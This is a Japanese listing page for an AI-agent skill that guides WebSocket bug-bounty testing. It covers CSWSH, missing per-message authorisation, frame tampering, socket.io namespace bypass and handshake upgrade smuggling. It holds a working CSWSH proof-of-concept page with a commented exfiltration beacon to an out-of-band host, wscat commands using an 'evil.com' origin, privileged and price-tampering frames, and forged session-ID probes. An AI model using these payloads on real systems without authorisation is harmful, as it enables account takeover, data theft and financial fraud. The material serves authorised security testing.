mcpField
H
hunt-websocket

hunt-websocket

github.com/elementalsoulsセキュリティ5.3k253 回インストール今日更新
リポジトリ

hunt-websocket について

セキュリティテスト担当者向けの WebSocket 脆弱性調査スキルです。エンドポイントの発見、認証・認可、メッセージ改ざん、ハンドシェイクの問題を扱い、データ漏えいや状態変化の実証を重視します。

主な機能

  1. 01WebSocket エンドポイントの発見
  2. 02CSWSH の条件と影響の検証
  3. 03メッセージごとの認証・認可テスト
  4. 04メッセージの再送と改ざんテスト
  5. 05名前空間とルームの認可チェック
  6. 06ハンドシェイクの Upgrade スマグリング検査

活用シーン

  1. 01Cookie 認証ソケットのクロスサイトハイジャック確認
  2. 02低権限セッションでの特権操作の検証
  3. 03リアルタイム注文やゲームメッセージの改ざん評価
  4. 04socket.io チャネルのテナント間アクセス調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-websocket

インストール後、Claude Code で/hunt-websocketを入力して読み込まれたか確認します。

詳細

HUNT-WEBSOCKET — WebSocket セキュリティ

最重要ターゲット

Cookie 認証のハンドシェイクで CSRF 対策/接続ごとのトークンがない CSWSH(クロスサイト WebSocket ハイジャック)は、高〜致命的な深刻度です(ログイン中の被害者のあらゆるデータをリアルタイムで窃取できます)。

価値の高い攻撃チェーン:

  • CSWSH → データ窃取/ATO — ハンドシェイクは自動的に送信される Cookie で認証され、CSRF トークンがなく、Origin も検証されません。攻撃者のページが被害者として WebSocket 接続を開き、メッセージ/PII/トークンをストリーミングします。ストリームにセッション/リフレッシュ/CSRF トークンが含まれている場合、ATO に発展します。
  • メッセージごとの認証がない — HTTP/ハンドシェイクの認証はあるものの、個々の WS フレームでは再認証されないため、特権メッセージ(deleteUser、getSecretConfig)が受け入れられます。
  • メッセージの改ざん — トレーディング/ゲーム/チェックアウトアプリで、通信中のフレーム(price、qty、userId、amount)を変更し、金融詐欺を行います。
  • socket.io の namespace/room の認可バイパス — 権限チェックなしで特権 namespace に接続したり、他のユーザーの room に参加したりすることで、テナントをまたいだリアルタイムのデータ窃取が可能になります。
  • ハンドシェイク層での Upgrade スマグリング — 不正な Upgrade/Connection/Sec-WebSocket-* ハンドシェイクにより、フロントのプロキシとオリジンでアップグレードが発生したかどうかの認識が食い違い、リクエストスマグリングのトンネルが生じます。

根拠 — 参考事例(調査前に読むこと)

以下は、公開され、検証可能な参考資料です。実際の WS 脆弱性がどのようなものか、またそれがどのように証明されたかを把握するために使用してください。報告 ID や報奨金を新たに捏造しないでください。

#出典/ID分類教訓
1PortSwigger Web Security Academy —「Cross-site WebSocket hijacking」(調査+ラボ)CSWSHCSWSH の標準モデル:Cookie 認証のハンドシェイク+CSRF トークンなし+Origin チェックの欠如 → 攻撃者が被害者として読み取り/送信できます。信頼できる方法論です。
2Christian Schneider —「Cross-Site WebSocket Hijacking (CSWSH)」(2013 年の最初の開示/解説)CSWSH最初に公開された CSWSH の手法:Cookie 認証のハンドシェイク+Origin の検証なし。PoC では 101 を確認するだけでなく、攻撃者のブラウザーで被害者のデータを受信できることを証明する必要があります。
3Coda CSWSH(このリポジトリの hunt-csrf セットで参照)CSWSHリアルタイムコラボレーションアプリでは、ソケット認証に Cookie のみを使用することがよくあります。欠けていた制御は Origin の許可リストでした。
4CVE-2020-7662 — websocket-extensions(Node)の ReDoSDoS細工した Sec-WebSocket-Extensions ヘッダーによって壊滅的なバックトラッキングが発生します。ハンドシェイクヘッダーも攻撃対象であり、フレームだけが対象ではありません。
5CVE-2024-37890 — ws(Node)の DoSDoS大量のハンドシェイクリクエストヘッダーによってサーバーのリソースが枯渇します。フレーム受信前のハンドシェイク自体も、パーサー攻撃の対象となることが確認されています。
6古い socket.io/Engine.IO スタックsocket.ioPhase 7 のバージョンフィンガープリント手順の根拠となります。バージョンを特定し、そのリリースに既知の勧告があるか確認してください。

正確な ID が検証可能であるため、上記の CVE は 4 件のみ、正確な ID とともに記載しています。正確な識別子に確信が持てない事例については、引用を一切付けずに手法を説明してください。誤った CVE は、何も記載しないより悪影響があります。


Phase 1 — WebSocket エンドポイントの検出

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

Burp Pro で、アプリを閲覧した後に get_proxy_websocket_history(および WebSockets タブ)を使用して、稼働中のソケット、メッセージスキーマ、認証に関わるデータを含むフレームを列挙してください。


Phase 2 — CSWSH(クロスサイト WebSocket ハイジャック)

CSWSH が成立するには、次の 3 つの条件がすべて揃う必要があります。(a)ハンドシェイクがアンビエント認証情報(自動的に送信される Cookie)で認証される。(b)ハンドシェイクに予測不能な接続ごとのトークンが含まれていない(CSRF トークンがない、URL/本文にトークンがない)。(c)サーバーがOrigin を強制検証しない。いずれか 1 つでも欠けると、攻撃は成立しません。

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.

<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>

誤検知を防ぐポイント:

  • Origin: evil.com からの 101 が完了しても、脆弱性の報告対象にはなりません。アップグレードを受け入れた後、何も送信しないサーバーや、認証済みフレームを最初に受信した時点で接続を閉じるサーバーは多数あります。
  • 受信したデータが攻撃者のものではなく、別のアカウントに属することを確認してください。アカウント B に仕込んだ一意のマーカーや、被害者固有の PII を使います。
  • 受信したペイロードを Burp Collaborator/OAST リスナーに送信し、帯域外で受信が記録されるようにしてください。これが報告時の影響の証明になります。
  • 接続ごとのトークンがハンドシェイク(URL、サブプロトコル、または最初のフレーム)に含まれている場合、CSWSH はクロスサイトから悪用できません。深刻度を下げるか、報告対象から外してください。

Phase 3 — WS メッセージの認証欠如/脆弱な認証

ハンドシェイクの認証 ≠ メッセージごとの認証です。多くのアプリはソケットを一度だけ認証し、その後のすべてのフレームを信頼します。

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

**検証:**特権操作が実際の影響をもたらす必要があります(テストユーザーが削除される、秘密の設定が返される、別のチャネルから確認できる状態変更が発生するなど)。フレームが受け入れられても、何の処理もされずに無視されるだけなら、脆弱性の報告対象にはなりません。未認証クライアントとして再実行し、その操作が単に無害な形ですべてのユーザーにブロードキャストされているだけではないことを確認してください。

署名付きメッセージのリプレイ

メッセージに署名が含まれている場合(例:{"type":"payment","amount":100,"signature":"..."})、有効期限とセッションへの紐付けに関するリプレイをテストしてください。署名付きメッセージをキャプチャし、次をテストします。(a)時間枠の回避:有効期限を過ぎた後にメッセージをリプレイする(クロックスキュー/検証の不備)。(b)セッションの回避:ユーザー A のセッションから署名付きメッセージをキャプチャし、ユーザー B のセッションでリプレイする。受け入れられた場合、署名はユーザー/セッション ID に紐付けられていません。Burp Repeater を使って署名付きフレームを保存してリプレイするか、時間枠が過ぎた後に wscat で同じメッセージを再構成してください。

ビジネスロジックの悪用:状態遷移の回避とレート制限の回避

状態を持つプロトコル(例:connect → authenticate → verify_balance → place_order の順を想定する取引プラットフォーム)は、メッセージの順序を無視したり、前提条件を省略したりしても受け入れる場合があります。次をテストしてください。(a)状態のスキップ:authenticate や verify_balance を先に実行せず、接続後すぐに place_order を送信する。個々のメッセージの検証が欠けていると、多くのスタックは厳密な順序を強制しません。(b)高頻度のスパム:同一または大量のメッセージを短時間に送信し、WS 層のレート制限(HTTP のレート制限とは別)を回避する。サーバーがスロットリングするか、429 を返すか、接続を閉じるかを確認するため、1 秒あたり数百件のメッセージをテストしてください。すべて受け入れて処理する場合、ビジネスロジックを悪用できる可能性があります(例:少額の支払いを多数行って金額上限を回避する、または短時間に多数のサブスクリプションを行ってリソースを枯渇させる)。


Phase 4 — メッセージの改ざん(金融/ゲーム/チェックアウト)

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

**検証:**改ざんした値がサーバー側に保持される必要があります。REST/注文 API、または新しいソケットを通じて、注文/残高/価格に実際に改ざんが反映されていることを確認してください。多くの UI は、自分が送信したフレームを楽観的にエコーします。そのエコーは証拠にはなりません。理想的にはサンドボックス/テスト用の金融商品を使い、金銭面または状態への影響を実証してください。

フェーズ 5 — socket.io / SignalR / Phoenix のネームスペースとルームの認可バイパス

Engine.IO/socket.io は、生の WebSocket の上に重ねられたプロトコルです。パケットのプレフィックス(Engine.IO の 4=MESSAGE が、socket.io の 0=CONNECT、1=DISCONNECT、2=EVENT をラップします)には、ネームスペースやルームに関する意図が含まれています。参加時に認可を確認する必要がありますが、確認されていないことがよくあります。

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace as a low/no-priv
#    user is the bug.

# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}]      # root namespace
#    Watch for 42 EVENT frames carrying ANOTHER user's data.

検証: ネームスペースに接続したことと、特権データを受信したことを区別してください。別のテナント/ユーザーに属するデータを含む 42 イベントフレームを受信した場合、または特権的な emit によって検証可能なサーバー側の効果が生じた場合にのみ、この問題が確認されたと判断できます。後続データのない 40/admin の ACK は、単に開いているだけで空のネームスペースである可能性があります。

SignalR の類似例:/<hub>/negotiate でネゴシエートしてから接続し、ハブメソッドを Invoke/Send して、メソッド単位の認可をテストします。Phoenix Channels の場合は、topic:subtopic に phx_join し、サーバーの join/3 がそのトピックを認可するか確認します。


フェーズ 6 — ハンドシェイク層のアップグレード・スマグリング(フレーム・スマグリングではありません)

重要:WebSocket が確立された後、ペイロードは WS フレームでラップされ、プロキシによって HTTP として再解析されることはありません。開いた wscat セッションに GET /admin HTTP/1.1 と入力しても何も起きません。WebSocket 関連のスマグリングは、フレームが存在する前の ハンドシェイクで発生します。

実際の手法は、フロントプロキシとオリジンで解釈が異なる WebSocket Upgrade リクエストを送信することです。たとえば、不正な Sec-WebSocket-Version によってオリジンが 426 Upgrade Required(または 400)を返す一方で、プロキシはすでに接続を「アップグレード済み」と判断し、HTTP の解析を停止するようにします。その後、プロキシは後続のバイト列を不透明なストリームとしてオリジンへ直接トンネリングするため、フロントエンドの制御(WAF/認可)をすり抜けて任意の HTTP リクエストをスマグリングできます。

# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:

#  A) Valid-looking upgrade but unsupported version:
#     Upgrade: websocket
#     Connection: Upgrade
#     Sec-WebSocket-Version: 777          <- origin should 426; does the proxy still tunnel?
#     Sec-WebSocket-Key: <16-byte base64>

#  B) Upgrade header present but Connection: keep-alive (mismatch)
#  C) Smuggled second request body after a "successful" 101, then send a normal
#     follow-up request on the same connection and watch for a desynced response.

手作業ではなく、Burp Pro の HTTP Request Smuggler 拡張機能(WebSocket アップグレードのテストケースがあります)を使って実行してください。検証は従来のスマグリングと同様に行います。タイミング/差分プローブでデシンクを証明し、実際の影響(内部/禁止されたパスへの到達、キャッシュされたレスポンスのポイズニング、または他のユーザーのリクエストの取得)を示してください。確認には Burp Collaborator / OAST を使用し、曖昧な単一のレスポンスだけで判断しないでください。


フェーズ 7 — socket.io / Engine.IO の詳細

# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.

# Namespace selection is a PROTOCOL message, not a URL param.
#   WRONG:  wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
#           ^ `nsp` is NOT a recognized socket.io query param. It is silently
#             ignored and you connect to the ROOT namespace "/". You will believe
#             you tested /admin when you did not.
#   RIGHT:  open the socket, then send the CONNECT packet  40/admin,  (Phase 5).

# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
#   400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.

ツール

npm install -g wscat                 # CLI WS client (raw + socket.io)
brew install websocat                # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
#   Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
#   enumerate frames; generate_collaborator_payload + get_collaborator_interactions
#   to prove out-of-band receipt from a CSWSH/smuggling PoC.

チェーン表

WS の問題次につなげる内容影響
CSWSH +ストリーム内のトークン被害者のフレームからセッション/リフレッシュ/CSRF トークンを窃取するATO(クリティカル)
CSWSH の確認済み被害者のチャンネルをサブスクライブし、OAST へ流出させるリアルタイムのデータ窃取(高)
メッセージごとの認可がない管理者/特権フレームを送信する権限昇格(クリティカル)
メッセージの改ざん価格/金額/userId を変更し、サーバー側で確認する金融詐欺(クリティカル)
ネームスペース/ルームの認可バイパス他のテナントのルームに参加し、42 イベントを読み取るテナント間のデータ流出(高)
ハンドシェイクのアップグレード・スマグリングHTTP を WAF/認可の先へトンネリングし、OAST で確認するスマグリング → SSRF/キャッシュポイズニング(高〜クリティカル)

検証(報告前に必須)

  • ✅ CSWSH: 攻撃者のオリジンから配信されるPoC HTMLを、別の被害者アカウントでログインした状態で開き、その被害者のデータを受信すること(固有の埋め込みマーカー/識別可能なPIIで確認)と、Collaborator/OASTへの流出を必ず確認してください。異なるオリジンからの単なる101は検出結果ではありません。
  • ✅ メッセージごとの認証なし: 特権フレームによって、単に「受け付けられた」だけでなく、サーバー側の実際の影響が生じること(別のチャネル/REST APIで状態変化を確認)を必ず確認してください。
  • ✅ メッセージの改ざん: 改ざんした値がサーバー側に保持されること(注文/残高APIで確認)を必ず確認してください。UIに反映されるだけでは不十分です。
  • ✅ 名前空間/ルームのバイパス: 40の名前空間ACKだけでなく、別ユーザーのデータを含む42イベントフレームを受信したことを必ず確認してください。
  • ✅ アップグレードのスマグリング: タイミング/差分プローブによるデシンクと、実際の影響の両方を証明し、さらにOASTで確認してください。単一レスポンスに基づく推測は認められません。
  • ❌ 却下対象:単独の101、受け付けられたものの無視されたフレーム、自己送信メッセージ、接続しただけで空の名前空間、または帯域外/クロスアカウントの証拠がない「確認済み」という主張。

重大度:

  • セッション/リフレッシュトークンが漏えいするCSWSH → ATO:Critical
  • リアルタイムのセッションデータ窃取につながるCSWSH:High
  • 管理者/特権WSアクションの認証なし:Critical
  • 金融メッセージの改ざん(サーバー側で確認済み):Critical
  • 名前空間/ルームのサブスクリプションバイパス(テナント間):High

コメント